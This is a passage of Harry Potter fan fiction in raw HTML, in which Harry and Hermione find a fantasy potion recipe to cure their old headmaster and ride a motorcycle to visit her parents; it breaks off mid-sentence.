mustn&#8217;t dwell on your mistakes,&#8221; she whispered. &#8220;You must move on.&#8221;</p>\n\n<p>&#8220;How can I?&#8221; asked Harry miserably. &#8220;I almost lost those that were nearest and dearest to me.&#8221;</p>\n\n<p>&#8220;That&#8217;s the consequence of war,&#8221; said Hermione sagely, &#8220;there are always casualties.&#8221;</p>\n\n<p>Harry&#8217;s heart thumped heavily as he thought of all those lost in the battles leading up to his final showdown with Voldemort, and all those who would be in danger if the Dark Lord rose again. He knew that Voldemort was much more aware of whom Harry cared for, and they would be first on his hit list when he regained his powers. He pulled back and stared deep into Hermione&#8217;s eyes, &#8220;When did you become so x wise x sage?&#8221; he asked.</p>\n\n<p>Hermione smiled impishly, &#8220;I&#8217;ve always been this way, and it&#8217;s just taken you a small slice of forever to finally realize that it&#8217;s in your best interests to listen to me.&#8221;</p>\n\n<p>&#8220;Funny,&#8221; said Harry, his good humor returning in the wake of her playfulness. &#8220;That&#8217;s real funny. I&#8217;m pouring my heart out, and you&#8217;re making jokes.&#8221;</p>\n\n<p>&#8220;Oh, it&#8217;s no joke, big boy,&#8221; Hermione&#8217;s grin got wider. &#8220;Have you ever benefited from ignoring my advice?&#8221;</p>\n\n<p>&#8220;Er&#8230;Well&#8212; Harry started, but Hermione cut him off.</p>\n\n<p>&#8220;That&#8217;s an awfully deep subject for such a shallow mind.&#8221;</p>\n\n<p>&#8220;Huh?&#8221; said Harry, then her meaning hit him, &#8220;Oh&#8230;Yeah, I guess it is,&#8221; he laughed, &#8220;Lucky for me, I&#8217;ve got a genius for a girlfriend, and she can fish me out when I get in over my head.&#8221;</p>\n\n<p>&#8220;That&#8217;s my job,&#8221; said Hermione, her smile fading as she turned and glared at the stacked books behind her. &#8220;Now, Harry, I&#8217;ve got loads of work to do, and I&#8217;d really like to get started.&#8221; </p>\n\n<p>&#8220;Okay,&#8221; Harry smiled and kissed her on the lips, &#8220;I&#8217;ll leave you to figure out something, but if you haven&#8217;t got something for me in one week&#8217;s time, we go with my idea.&#8221;</p>\n\n<p>&#8220;Fine, fine, now get out of here so I can get to work.&#8221; Hermione shooed him out the door, and closed it in his face.</p>\n\n<p>Harry stood there staring at the door, &#8220;Don&#8217;t worry about dinner okay? I&#8217;ll take care of it,&#8221; he shouted. He thought he heard a muffled, &#8216;Fine!&#8217;, but was not sure. He walked away, a wide grin on his face. </p>\n\n<p> Harry went to his room and changed into black sweats. Barefoot, he went into his closet, opened a door in the back, and stepped into a fully equipped gym and dojo. </p>\n\n<p>Harry stretched for a good five minutes, and then went to work on the heavy bag. After the fight with Ron, he had realized just how out of practice he was. That wouldn&#8217;t do at all, Sirius had spent a lot of their time together teaching Harry how to fight, and would be disappointed that the young man had lapsed in his training, and if there was one thing Harry didn&#8217;t want, it was to disappoint Sirius.</p>\n\n<p>Harry assaulted the bag with a flurry of punches and kicks. Jabs flew so fast they were a blur, uppercuts landed with such force that the bag seemed to leap upward after each one, and kicks left indentations that threatened to rupture the fabric. </p>\n\n<p><i>&#8220;One&#8230;two, one&#8230;two, right&#8230;left, jab&#8230;cross, hook&#8230;uppercut, knee&#8230;elbow, front kick&#8230;spinning back fist, roundhouse kick! Again&#8230;&#8221;</i>\n\n</p>\n\n<p>Harry continued to pummel the bag relentlessly, immersing himself in the movements, using the repetitive motions to ease his mind. He stopped only when he developed a painful stitch in his side. Harry leaned over, his hands on his knees, breathing heavily, and sweating profusely. He wiped sweat from his eyes, took a few deep breaths and headed for the weights. He took a few more minutes, letting his breathing even out before getting started.</p>\n\n<p>Harry adjusted the bench &#8211; press machine, and got comfortable. He started out with 200 lbs, lifting the weight easily, noticing how much his strength had increased from what it was before removing the Anti &#8211; Apparition wards on the house, and nearly draining his power in the process. He lowered the bar to his chest, flicked his finger and the weight increased to 300 lbs. He grabbed the bar again and shoved upwards. This time, he had to strain a little more, and after lifting it ten times, found his arms growing weak. He lowered the bar and sat up, massaging his biceps while trying to decide which machine to hit next. The abdominal crunch machine caught his eye, and he made his way over to it.</p>\n\n<p>Harry plopped down in the chair, adjusted the tension strap and began his reps. He stopped several minutes later, his lungs heaving and his abs screaming, and debated on just how much torture to inflict upon himself. Deciding that he had done enough, he grabbed his towel, wiped down the machine, pushed his sweaty hair out of his eyes, and headed for the weapon racks. He took down a quarter staff, <i>&#8220;Bo,&#8221;</i> he reminded himself, calling it by the name it was known by in martial arts, spun it around his head, through his hands and around his back to end up in the ready position. He took a deep breath, and released it in an explosive yell.</p>\n\n<p>&#8220;Kiiii--yah!&#8221; Harry cried, his Bo spinning around his head to end up with the blunt end stabbing out at an unseen opponent. He used the simple stick as one would use a spear, stabbing and jabbing at where his enemy&#8217;s eyes and throat would be. He practiced with the Bo for quite a while, losing track of time and coming back to himself when the Bo slipped from his sweaty hands and struck the wall. Harry stared at the fallen weapon and ground his teeth in agitation. </p>\n\n<p>&#8220;I should really put an anti &#8211; slip charm on those blasted things,&#8221; Harry muttered. </p>\n\n<p>He bent down, retrieved the staff and replaced it on the rack. He lowered himself to the floor, and assumed the lotus position, his fists resting on his knees. He closed his eyes and sought inner peace. He had learned this technique from a Muggle library book the summer before 6<sup>th</sup> year. It had helped him deal with his temper and the rages that seemed all too eager to consume him after Sirius&#8217; perceived death. Harry shook his head to clear it of such disturbing thoughts, and slowly his breathing evened out and his body relaxed.</p>\n\n<p>Harry was brought out of his meditation by hunger, his growling stomach letting him know clearly that it was time to eat. He stretched, popping his neck, shoulders, knees, and knuckles before standing up. He wondered how Hermione was doing with her research or whatever it was that she was doing, and decided to go check up on her. He headed for the study, yanking his sweaty shirt off and tossing it towards the hamper in the corner as he passed through his room. When he got to the study, he knocked tentatively on the door.</p>\n\n<p>&#8220;Hermione?&#8221; Harry cracked the door a bit and peeked inside to see what she was doing.</p>\n\n<p>Hermione was sitting at his desk, books stacked all around her, her bag open on a chair she had drug up beside where she was sitting. She had parchment scattered everywhere, and was furiously turning pages in her notebook, she looked up when the door creaked.</p>\n\n<p>&#8220;What is it, Harry?&#8221; Hermione asked.</p>\n\n<p>&#8220;Er&#8230;I was wondering if you had any particular preference for dinner.&#8221;</p>\n\n<p>Hermione waved a hand, &#8220;Whatever you want is fine with me.&#8221;</p>\n\n<p>&#8220;Are you sure, because I have no idea what I want.&#8221;</p>\n\n<p>&#8220;I&#8217;m sure you&#8217;ll think of something,&#8221; said Hermione, turning back to her work.</p>\n\n<p>&#8220;Okay. I&#8217;m going to hit the shower and then I&#8217;ll head into town and find something.&#8221;</p>\n\n<p>&#8220;Fine, fine, whatever,&#8221; Hermione looked up again and pushed a wisp of hair out of her eye. &#8220;Now, I&#8217;m dreadfully busy, so please leave me alone.&#8221;</p>\n\n<p>&#8220;Okay, okay, I&#8217;ll see you when I get back,&#8221; Harry raised his fingers to his lips and blew her a kiss. Hermione smiled and returned the gesture, then bent back to her task. Harry turned away and walked quickly to the bathroom. </p>\n\n<p>When Harry came out twenty minutes later, he was surprised to see Hermione standing outside the study door, a very perturbed look on her face.</p>\n\n<p>&#8220;What&#8217;s up?&#8221; he asked, pushing his wet hair out of his eyes.</p>\n\n<p>&#8220;I found it.&#8221;</p>\n\n<p>Harry could not believe his ears. &#8220;What? What did you just say?&#8221;</p>\n\n<p>Hermione threw down her notebook and kicked it across the hall. &#8220;I said I found it!&#8221;</p>\n\n<p>&#8220;What? Where is it?&#8221;</p>\n\n<p>&#8220;It&#8217;s been right under our noses the whole time,&#8221; she smacked herself in the forehead. &#8220;How could I have been so stupid?&#8221;</p>\n\n<p>&#8220;Hermione! Tell me where it is!&#8221;</p>\n\n<p>Hermione rolled her eyes, &#8220;I can&#8217;t believe I&#8217;m going to say this&#8212;</p>\n\n<p>&#8220;WHAT?&#8221; Harry asked, exasperated.</p>\n\n<p>&#8220;&#8212;the Room of Requirement,&#8221; said Hermione, dropping her head into her hands.</p>\n\n<p>&#8220;No way,&#8221; Harry was incredulous.</p>\n\n<p>&#8220;Yes, it hit me a few minutes ago, and I sat there trying to tell myself that there is no way that you or I could be so stupid as to not think of that room.&#8221;</p>\n\n<p>Harry scratched his head in thought, &#8220;It is the perfect place to hide something though. I mean there is no way just anyone could stumble across Flamel&#8217;s books if they&#8217;re in the Room of Requirement.&#8221;</p>\n\n<p>&#8220;I know.&#8221; Her voice was full of disgust, &#8220;that&#8217;s why I&#8217;m sure they&#8217;re there.&#8221;</p>\n\n<p>&#8220;So what do you want to do?&#8221; asked Harry.</p>\n\n<p>&#8220;I&#8217;ll go to the Room. Oh, and don&#8217;t worry about finding something in Hogsmeade, I&#8217;ll bring back something from the Hogwarts&#8217; kitchen for dinner,&#8221; said Hermione.</p>\n\n<p>&#8220;Are you sure?&#8221; Harry asked, &#8220;I could come with you.&#8221;</p>\n\n<p>&#8220;That&#8217;s okay, Harry, the sooner we get the book, the sooner we can plan our next move.&#8221; She stood on tiptoe and kissed him on the lips. &#8220;I&#8217;ll see you when I get back, and maybe after we&#8217;ve made our plans, we could begin making plans for <i>other things</i>.&#8221; She wriggled her eyebrows</p>\n\n<p>&#8220;Vixen,&#8221; Harry laughed, and swatted her playfully on the rump, &#8220;now get out of here before I throw you on the floor and ravish you!&#8221;</p>\n\n<p>&#8220;Oooh, promises, promises,&#8221; said Hermione, throwing him a grin, before she disapparated.</p>\n\n<p>Harry shook his head, that girl was something else. He had often reflected on his relationship with Hermione, and how one sided it had been for so long. She had sacrificed and risked a lot to be his friend, even putting his life ahead of their friendship. When it came down to it, she had been there for him when no one else had been, and it embarrassed and infuriated him to realize that it had taken him so long to see her feelings for what they really were.</p>\n\n<p>Hermione returned an hour later to find Harry kicked back in his chair and reading her manuscript for the revised edition of Hogwarts: A History. He dog-eared the page he was on and stood up. Her glowing face let him know immediately that she had been successful.</p>\n\n<p>&#8220;Alright! You got it!&#8221;</p>\n\n<p>Hermione smiled and held up what had to be the oldest and most decrepit looking book in the known world. Harry could just make out what looked like a line of M&#8217;s running down the spine.</p>\n\n<p>&#8220;It was surprisingly easy to find it, Harry; I&#8217;m a tad disappointed to tell you the truth.&#8221;</p>\n\n<p>&#8220;Hermione, don&#8217;t say that, because we&#8217;re not outta the woods yet. We still have to find the spell and whatnot,&#8221; said Harry, taking the book from her and carrying it over to the table. He cleared the table with a wave of his arm and gently lowered the aged volume to the surface. The pages looked so brittle, he was tempted to cast a charm to protect them, but Hermione quickly stopped him.</p>\n\n<p>&#8220;Harry, no!&#8221;</p>\n\n<p>He looked up, &#8220;Why not?&#8221;</p>\n\n<p>Hermione flinched, then with a wave of her wand, a smoke surrounded her. When it cleared, Harry saw that her hair had been singed all over, and she looked like she had been struck by lightning. Her face was smudged with scorch marks, and there were burnt patches on her clothes, like she had tried to walk through a fire.</p>\n\n<p>&#8220;What the hell happened? Are you alright?&#8221; Harry asked, rushing to her side and examining her for injuries.</p>\n\n<p>Hermione winced when he touched a burn on her cheek. &#8220;The book is protected, that&#8217;s how I found it.&#8221;</p>\n\n<p>Harry didn&#8217;t say anything else, he just held his hands up, palms out, towards her and, just as he had in the Department of Mysteries in their 5<sup>th</sup> year, healed her of her injuries. He had not known at the time that that was what he had done, but after talking about it with Sirius, they had come to the conclusion that she would have died if he had not accidentally healed her. He had yet to reveal this to her, and was loathe to do so.</p>\n\n<p>Hermione took a deep breath when he had finished, &#8220;Thanks, Harry.&#8221;</p>\n\n<p>&#8220;No problem, Babe,&#8221; Harry kissed her on the top of her head. &#8220;Now, let&#8217;s get down to business.&#8221;</p>\n\n<p>Hermione started turning pages, wincing when she read some of the names of the spells. &#8220;Ooh, this one sounds like it should be an Unforgivable Curse.&#8221;</p>\n\n<p>&#8220;It would, except it requires the caster to have drunk centaur blood twenty-four hours before casting in order to get the full effect,&#8221; Harry agreed.</p>\n\n<p>Hermione continued flipping pages, going past several curses used in ancient duels and a few charms that were no longer valid, until finally, three quarters through the book, she turned to a page labelled:</p>\n\n<p><b><i>The Panacea</i></b><b><i></i></b></p>\n\n<p><b><i></i></b><b><i></i></b></p>\n\n<p><b><i>The definitive cure all for any curse or charm, the Panacea has been known to restore life to those mere seconds from death&#8217;s door. Although this potion can cure anything, not many are willing to take the risks inherent in brewing it. The ingredients needed are rare, and in some cases, extremely hazardous to one&#8217;s health to gather. It takes a person of great courage, skill, and determination to acquire them. But, if one is brave of heart and foolish of head, the ingredients are listed below.</i></b><b><i></i></b></p>\n\n<i><u>Ingredients</u></i><i></i>\n\n<p><b><i></i></b><b><i></i></b></p>\n\n<p><b><i>-Alicorn voluntarily dips horn into brewed potion (Dedication/Protectiveness/Devotedness)</i></b><b><i></i></b></p>\n\n<p><b><i>-Beard of a Satyr - 6 inches in length (Vitality)</i></b><b><i></i></b></p>\n\n<p><b><i>-Tear of a Nymph (Compassion)</i></b><b><i></i></b></p>\n\n<p><b><i>-Seven Lotus flowers (Love)</i></b><b><i></i></b></p>\n\n<p><b><i>-Feather of a </i></b><st1:city><st1:place><b><i>Phoenix</i></b></st1:place></st1:city><b><i> (Loyalty)</i></b><b><i></i></b></p>\n\n<p><b><i>-Boiling Blood of a Fire Drake (Nobility)</i></b><b><i></i></b></p>\n\n<p><b><i></i></b><b><i></i></b></p>\n\n<p><b><i>The items do not have to be gathered in any specific order, however, the Alicorn will not allow magic use in its presence, and as such will only agree to dip its horn after learning to trust the witch or wizard brewing the potion. This has its drawbacks, as the wizard must not use magic of any kind from the moment the Alicorn is contacted nor leave its presence until the potion has been stirred and the Alicorn has gotten safely away, Nor will the Alicorn allow any other person to come around, or it will bolt. The Alicorn Nation is adamant about this, and they demand considerable time in which the wizard must prove he can be trusted. If for some reason the Alicorn called distrusts the wizard, it will leave immediately and no Alicorn will ever again answer the summons. The Nation also demands that only a female virgin perform the summoning charm.</i></b><b><i></i></b></p>\n\n<p><b><i> The beard of the satyr will require the wizard to use his brain, for the satyrs measure sexual potency by the length of his beard, and no male will willingly part with his. However, if the wizard is crafty enough, he should be able to trick the satyr into giving it up. The wizard must, and I cannot stress this enough, must be given the beard, he cannot steal it. Satyrs can be found roaming all over </i></b><st1:country-region><st1:place><b><i>Greece</i></b></st1:place></st1:country-region><b><i>.</i></b><b><i></i></b></p>\n\n<p><b><i> As any who have travailed these lands know, Nymphs are lovely creatures that are perpetually happy. Getting one to shed a tear will be no small feat. They were once very common all over Briton, </i></b><st1:place><b><i>Gaul</i></b></st1:place><b><i> and the Northlands, but now they are mainly found in </i></b><st1:place><b><i>Eire</i></b></st1:place><b><i> and </i></b><st1:country-region><st1:place><b><i>Greece</i></b></st1:place></st1:country-region><b><i>.</i></b><b><i></i></b></p>\n\n<p><b><i> Seven Lotus flowers symbolize the love the wizard or witch has for the person they wish to cure. Although some would consider the Lotus to be a connotation for sexual or physical love, but that is not always the case, and will work even if the wizard or witch is not sexually attracted to the person they wish to heal. They are found on several Greek isles, and even in some very remote areas of the mainland. I found a large field growing in the shadow of </i></b><st1:place><st1:placetype><b><i>Mt.</i></b></st1:placetype><b><i>\n\n</i></b><st1:placename><b><i>Olympus</i></b></st1:placename></st1:place><b><i>, so if one seeks Lotus flowers, I would suggest looking there.</i></b><b><i></i></b></p>\n\n<p><b><i> The feather of a </i></b><st1:city><st1:place><b><i>Phoenix</i></b></st1:place></st1:city><b><i> is relatively easy to acquire, assuming of course that one has access to such a remarkable bird. I am lucky, because my personal pet just happens to be a </i></b><st1:city><st1:place><b><i>Phoenix</i></b></st1:place></st1:city><b><i>. However, that is not the case for everybody, and in such cases, the majestic bird can be found at the tops of very high peaks. One must be very careful, and highly respectful when dealing with such animals, for if frightened or insulted, they can disappear instantly.</i></b><b><i></i></b></p>\n\n<p><b><i> Perhaps the most difficult and dangerous of all the ingredients is the boiling blood of a Fire Drake. Now, do not be deceived, dear reader, for the Fire Drake is just another way of saying Dragon. However, the Fire Dragon is a rare species that inhabit active volcanoes. They swim through the molten rock as if it were water, and when angered they spew superheated gases. It takes great courage, and a weapon not made by man to collect the boiling blood, and know this, the container must be charmed to withstand tremendous heat, or the blood will burn though it in seconds, and once the blood hits air, it cools instantly, and will no longer work.</i></b><b><i></i></b></p>\n\n<p><b><i> Once you have these ingredients, boil water in a small cauldron, pick the petals off the Lotus flowers, adding them one at a time, until all are floating on the surface, then add the stems and roots. Sprinkle the satyr&#8217;s beard over the petals, being careful to only let one hair hit the mixture at a time. Let boil for one hour, and then add the Nymph&#8217;s tears. Stir the concoction with the </i></b><st1:city><st1:place><b><i>Phoenix</i></b></st1:place></st1:city><b><i> feather in a clockwise manner until the feather has lost all its color and then drop it in. Take the container of blood from wherever you may have placed it, and set the container in the mixture, making sure that the surface level of the water is higher than any part of the container. Let it simmer for exactly thirty hours, not one second more or less. As the thirtieth hour comes to a close, have the Alicorn break the container with its horn, and then while the blood mixes with the other ingredients, stir with exactly five vertical strokes of the horn. When this is done, let the potion cool for two hours, then administer it to the afflicted using a solid gold goblet.</i></b></p>\n\n<p> Harry frowned when Hermione stopped reading, &#8220;Not asking very much is he?&#8221;</p>\n\n<p>&#8220;Harry, at least now we know what we have to do, and that makes this so much easier.&#8221;</p>\n\n<p>&#8220;I know, I know,&#8221; Harry ran his hands through his hair. &#8220;Where do we start?&#8221;</p>\n\n<p>&#8220;I was thinking that the easiest should be gotten first, and that means the Lotus flowers, and while we&#8217;re in <st1:country-region><st1:place>Greece</st1:place></st1:country-region>, we can try to get the Nymph&#8217;s tears and the satyr&#8217;s beard. Kill three birds with one stone.&#8221;</p>\n\n<p>&#8220;You forgot the Alicorn,&#8221; Harry reminded her. &#8220;It has to be summoned and given enough time to learn to trust us.&#8221;</p>\n\n<p>&#8220;I know that, Harry, but we have to figure out a few things before we summon the Alicorn. First, we have to get to Greece, second, we have to <i>find</i> both the creatures and the flowers, and third, we have to do both of those things <i>after</i> we summon the Alicorn, so we&#8217;ll need a way to get around, as well as having made preparations for our safety and well being.&#8221;</p>\n\n<p>Harry frowned; this was more than slightly confusing. &#8220;Okay, I think I understand what you&#8217;re trying to say. We have to make plans for how we&#8217;re going to take care of things without magic, <i>before</i> we get in the situation,&#8221; he said, and she nodded.</p>\n\n<p> &#8220;Well, let&#8217;s look at what we won&#8217;t be able to do,&#8221; said Harry, raising a hand. &#8220;We won&#8217;t be able to travel, except by foot, we won&#8217;t be able to defend ourselves, except with weapons of some sort, or in lieu of that, our fists and feet, and we won&#8217;t be able to communicate, except by owl, and that&#8217;s <i>if</i> the Alicorn will allow it,&#8221; he said, ticking each one off on his fingers. </p>\n\n<p>&#8220;Right,&#8221; Hermione smiled, &#8220;and I have an idea about part of it.&#8221;</p>\n\n<p>&#8220;Yeah, which part?&#8221;</p>\n\n<p>&#8220;We&#8217;ll have to go to my parents&#8217; house, because even though you sent them a note, and I told them I would be here, they really need to be informed about this little trip we&#8217;re going to take.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; said Harry. &#8220;I say we grab our bags and hit the road as soon as possible.&#8221;</p>\n\n<p>&#8220;I was thinking the same thing, but Harry, don&#8217;t you think we should just Apparate there?&#8221;</p>\n\n<p>Harry shook his head, &#8220;Nah, I&#8217;ve been cooped up for so long in this place, the travelling will do me good.&#8221;</p>\n\n<p>&#8220;Well then, how do you intend to get there? Because last time I checked, you don&#8217;t have a car, and I don&#8217;t have a broom,&#8221; she said. &#8220;Although, I suppose I could turn something into a portkey&#8212;</p>\n\n<p>&#8220;No, I have a better idea,&#8221; said Harry. &#8220;Let&#8217;s take my bike, we&#8217;ll make a road trip of it.&#8221;</p>\n\n<p>&#8220;Bike? Harry, you don&#8217;t mean that motorcycle, do you?&#8221;</p>\n\n<p>Harry grinned, &#8220;That&#8217;s exactly what I mean. It hasn&#8217;t been run very much, except to keep the battery charged in three years, so what d&#8217;you say, you and me, the open road, the wind in our hair?&#8221;</p>\n\n<p>Hermione smiled, &#8220;You do paint a beautiful picture, and it is quite a distance from here to my parents&#8217; house, so it would definitely be a road trip, and the more I think about it, the better I like it!&#8221;</p>\n\n<p>&#8220;Great! Let&#8217;s saddle up! <i>Accio</i> travel bag!&#8221; Harry cried. </p>\n\n<p>A large, black duffle bag came floating into the room, and Harry grabbed it. He dug through it, muttering. &#8220;Good, good, good. Whoa! Not good!&#8221; He pulled out a pair of socks that stank so bad, the fumes were almost visible.</p>\n\n<p>Hermione covered her nose, &#8220;Oh, Harry, get rid of those things!&#8221;</p>\n\n<p>&#8220;Right!&#8221; Harry levitated the socks above his hand, narrowed his eyes and they burst into flames. They burned swiftly, not even leaving an ash to mark their existence.</p>\n\n<p>&#8220;I&#8217;ll go grab my bag, you go get the bike ready,&#8221; said Hermione.</p>\n\n<p>&#8220;Okay, hurry back,&#8221; Harry went one way and Hermione went another. He went up the stairs to the third floor, opened a side door and went into a fully stocked garage. The place was immaculate, not one speck of grease or dust anywhere. Magic was so handy. He looked at the gleaming black motorcycle with its Harley Davidson nameplate shining in chrome. He miniaturized his duffle bag and dropped it into the leather saddlebag. He threw his leg over the seat, turned the key and then gathering his strength, jumped on the kick-start lever. That was one thing he had never liked about the big bike, that damn kick-start hated him. He managed to get it fired up after another three tries, the big engine popping through the straight pipes and nearly deafening him in the enclosed space.</p>\n\n<p>Hermione came running in, her bag in her hand. Harry looked at her and grinned. He took her bag and stuck it in the saddlebag with his. She hopped on back, wrapped her arms around his waist and held on tight.</p>\n\n<p>&#8220;Scared?&#8221; he asked.</p>\n\n<p>&#8220;A bit, I&#8217;ve never been on a flying motorcycle before.&#8221;</p>\n\n<p>&#8220;Who said we were gonna fly? Harry gunned the throttle and the wall split down the center, sliding smoothly to the sides. Harry waited until he had a clear path, then twisted the handle hard. The big bike peeled rubber all the way through the room and out onto the yard. They roared down the hill and through Hogsmeade, sending people diving for cover, unsure of what manner of beast had found its way into their sleepy little hamlet.</p>\n\n<p><i>*The Grangers&#8217; House*</i></p>\n\n<p>Harry and Hermione arrived at her parents&#8217; house a little after <st1:time minute="0" hour="12">noon</st1:time>, two days later. Harry pulled Sirius&#8217; big, black Harley Davidson into the circle driveway and parked it behind a Cherry Red, 1957 Aston Martin DB 2/4 MK III Coupe, and a Silver 1980 Porsche 911 Turbo. There was an Emerald Green 1998 Land Rover parked in front of the garage with the driver&#8217;s side rear door open, and several grocery bags setting in the seat. Hermione leaped off the back of the bike as Harry killed it, and ran for the woman emerging from the house.</p>\n\n<p>&#8220;Mum!&#8221; Hermione cried, throwing her arms around Mrs. Granger.</p>\n\n<p>&#8220;Hermione!&#8221; said Mrs. Granger, embracing her daughter. &#8220;What are you doing here? What was all that noise, and who is this handsome young man?&#8221; </p>\n\n<p>Hermione indicated Harry as she stepped back a pace, &#8220;Mum, you remember Harry.&#8221;</p>\n\n<p>&#8220;Hello Mrs. Granger,&#8221; said Harry nodding his head politely. &#8220;Sorry about the noise.&#8221;</p>\n\n<p>Mrs. Granger smiled and extended her hand, &#8220;Of course I do. How have you been Harry?&#8221;</p>\n\n<p>&#8220;Pretty good,&#8221; said Harry, shaking her hand. &#8220;Can I lend a hand with those groceries?&#8221;</p>\n\n<p>Mrs. Granger looked shocked for a moment, and then smiled, &#8220;Yes, thank you.&#8221;</p>\n\n<p>Harry grabbed the remaining bags and walked behind the two women as they talked.</p>\n\n<p>&#8220;Mum, Harry and I have to go on a trip, and we won&#8217;t be able to communicate with you for an indefinite period of time.&#8221;</p>\n\n<p>Mrs. Granger looked from Hermione back at Harry, &#8220;What&#8217;s going on?&#8221;</p>\n\n<p>Harry wasn&#8217;t sure how much to tell, but the look in Mrs. Granger&#8217;s eyes warned him that he&#8217;d better have a darn good reason. &#8220;Our old Head Master is very ill, and the only way to cure him is to procure the services of a creature that gives new definition to the word &#8216;paranoid.&#8217;&#8221;</p>\n\n<p>&#8220;Why can&#8217;t you deal with this alone?&#8221; asked Mrs. Granger, as they walked through the large living room and into the kitchen. &#8220;Hermione has told us repeatedly that you&#8217;re the greatest wizard to ever live.&#8221;</p>\n\n<p>Harry blushed and set the bags down on a counter. &#8220;She&#8217;s being generous, she&#8217;s actually the greatest.&#8221;</p>\n\n<p>&#8220;I am not!&#8221; said Hermione, turning red.</p>\n\n<p>&#8220;Are too, and you know it,&#8221; said Harry. &#8220;But to answer your question, there is a spell that has to be performed by a female, and the creature that is summoned requires a trial period during which no magic can be performed and nothing and no one is allowed around us. At this same time, we&#8217;re not allowed to leave the creature&#8217;s presence.&#8221; </p>\n\n<p>&#8220;I see,&#8221; said Mrs. Granger. &#8220;You&#8217;ll at least stay for dinner won&#8217;t you?&#8221;</p>\n\n<p>&#8220;Of course we will,&#8221; Hermione said. &#8220;We have a lot to discuss with you and Daddy.&#8221; Hermione looked around, &#8220;Speaking of Daddy, where is he?&#8221;</p>\n\n<p>&#8220;He went into his study about an hour before I left to go to the store. He&#8217;s probably working on one of those model ships of his. I swear, the house could fall down around his ears, and he&#8217;d never realize it.&#8221;</p>\n\n<p>Harry grinned, &#8220;Now I know where she gets it.&#8221;</p>\n\n<p>Mrs. Granger returned his grin, &#8220;Yes, our little girl takes after her father.&#8221;</p>\n\n<p>&#8220;Oh, I don&#8217;t know. I&#8217;d say she got some of her best attributes from you,&#8221; said Harry winking.</p>\n\n<p>Mrs. Granger blushed, and Hermione slapped him on the arm. &#8220;Harry! Stop flirting with my mother!&#8221;</p>\n\n<p>&#8220;What? Sirius said that all women deserve to have their beauty appreciated, and that there is nothing wrong with making a woman feel good about herself,&#8221; Harry said defensively. &#8220;Besides, I was just being honest. You have her eyes and nose, and ears, and you know how much I like your ears.&#8221;</p>\n\n<p>&#8220;This Sirius fellow seems very wise,&#8221; said Mrs. Granger, &#8220;I&#8217;d like to meet him someday.&#8221;</p>\n\n<p>&#8220;MUM!&#8221;</p>\n\n<p>&#8220;What, Hermione? I&#8217;m a woman same as you, and I happen to like being complimented on my looks,&#8221; Mrs. Granger said. &#8220;Do you think it&#8217;s easy to stay in this kind of shape at my age?&#8221;</p>\n\n<p>&#8220;Well, no, but&#8230;&#8221;</p>\n\n<p>&#8220;No buts, Hermione. I&#8217;m not a young woman anymore, and I&#8217;ll take all the compliments I can get, even if they are slightly backhanded,&#8221; said Mrs. Granger with a sideways glance at Harry. &#8220;I don&#8217;t have magic to make me look good; I have to work hard to stay in this shape.&#8221;</p>\n\n<p>Harry smiled, &#8220;It&#8217;s worth it, because you look great.&#8221;</p>\n\n<p>&#8220;Thank you.&#8221;</p>\n\n<p>Hermione grabbed Harry&#8217;s arm, &#8220;Let&#8217;s go say hi to Daddy, then I&#8217;ll come back and help you put this stuff away, Mum.&#8221;</p>\n\n<p>&#8220;I&#8217;ll be right here,&#8221; said Mrs. Granger. &#8220;Oh and Hermione, I have some things I&#8217;d like to discuss with you privately, so let Harry and your father talk.&#8221;</p>\n\n<p>&#8220;Okay Mum.&#8221;</p>\n\n<p>Harry started walking, and when he got out of earshot of the kitchen, he turned to Hermione. &#8220;I don&#8217;t like the sound of that.&#8221;</p>\n\n<p>&#8220;Relax Harry. This is a normal part of getting together, you&#8217;ll be fine.&#8221;</p>\n\n<p>Harry gulped, and tried to calm his nerves. &#8220;Okay.&#8221; They continued through the house to the basement door. &#8220;Nice place for a basement. Aren&#8217;t they usually off the kitchen?&#8221;</p>\n\n<p>&#8220;Yes, but Daddy had this one specifically built for his study. It is completely sound proof; no noise can get in or out.&#8221;</p>\n\n<p>Harry blanched, &#8220;Oh yeah, that makes me feel much better.&#8221;</p>\n\n<p>&#8220;Harry, are you nervous?&#8221;</p>\n\n<p>&#8220;A little,&#8221; Harry admitted.</p>\n\n<p>&#8220;Why? You&#8217;ve faced Voldemort without flinching, why the nerves over visiting my father?&#8221;</p>\n\n<p>&#8220;I&#8217;ve heard numerous horror stories from Sirius about meeting a girl&#8217;s father.&#8221;</p>\n\n<p>&#8220;Oh Harry, honestly.&#8221;</p>\n\n<p>&#8220;Just promise to come and check on me in ten minutes or so. Please.&#8221;</p>\n\n<p>&#8220;Okay, you big baby,&#8221; said Hermione giggling.</p>\n\n<p>They came to a large door set under the stairs in the den, and Hermione pushed the button on the doorjamb. A few seconds later, the door opened, and Mr. Granger was standing there. He was a big man, as tall as Harry, but thicker through the chest. He had a neatly trimmed Van Dyke goatee, and his hair was combed back from his forehead. He smiled when he saw Hermione, and gathered her into a big bear hug.</p>\n\n<p>&#8220;Hermione! How&#8217;s my baby girl?&#8221;</p>\n\n<p>&#8220;I&#8217;m fine, Daddy,&#8221; said Hermione, returning the hug.</p>\n\n<p>&#8220;Who&#8217;s this?&#8221; Mr. Granger asked when he released Hermione from the hug. &#8220;He looks familiar.&#8221;</p>\n\n<p>&#8220;Daddy, this is Harry.&#8221;</p>\n\n<p>&#8220;Harry? Harry?&#8221; Mr. Granger tapped his chin in thought, &#8220;I know I&#8217;ve heard that name before&#8230;&#8221;</p>\n\n<p>&#8220;Daddy!&#8221;</p>\n\n<p>&#8220;Oh! Harry POTTER!&#8221; Mr. Granger thrust his hand out to shake. &#8220;How have you been, son?&#8221;</p>\n\n<p>&#8220;I&#8217;ve been good sir,&#8221; Harry extended his hand and met Mr. Granger grip for grip.</p>\n\n<p>&#8220;What brings you two here?&#8221;</p>\n\n<p>&#8220;We&#8217;re visiting before taking a longer trip, Daddy,&#8221; said Hermione.</p>\n\n<p>&#8220;Is that right?&#8221;</p>\n\n<p>&#8220;Yes, sir,&#8221; Harry nodded.</p>\n\n<p>&#8220;Daddy, I have to go help Mum with the groceries, she said to leave you and Harry to talk.&#8221;</p>\n\n<p>&#8220;Then I guess you&#8217;d better go help her.&#8221; Mr. Granger kissed Hermione&#8217;s cheek, and she sprinted back the way they came. </p>\n\n<p>&#8220;Don&#8217;t run in the house!&#8221; He turned back to Harry. &#8220;Please, make yourself comfortable.&#8221;</p>\n\n<p>&#8220;Thank you.&#8221; Harry walked inside the study, and was amazed at the amount and variety of stuff on the walls. Beside the door was a display case full of swords and on one wall behind the desk was a large gun rack that held several old muzzle loading rifles, and a glass 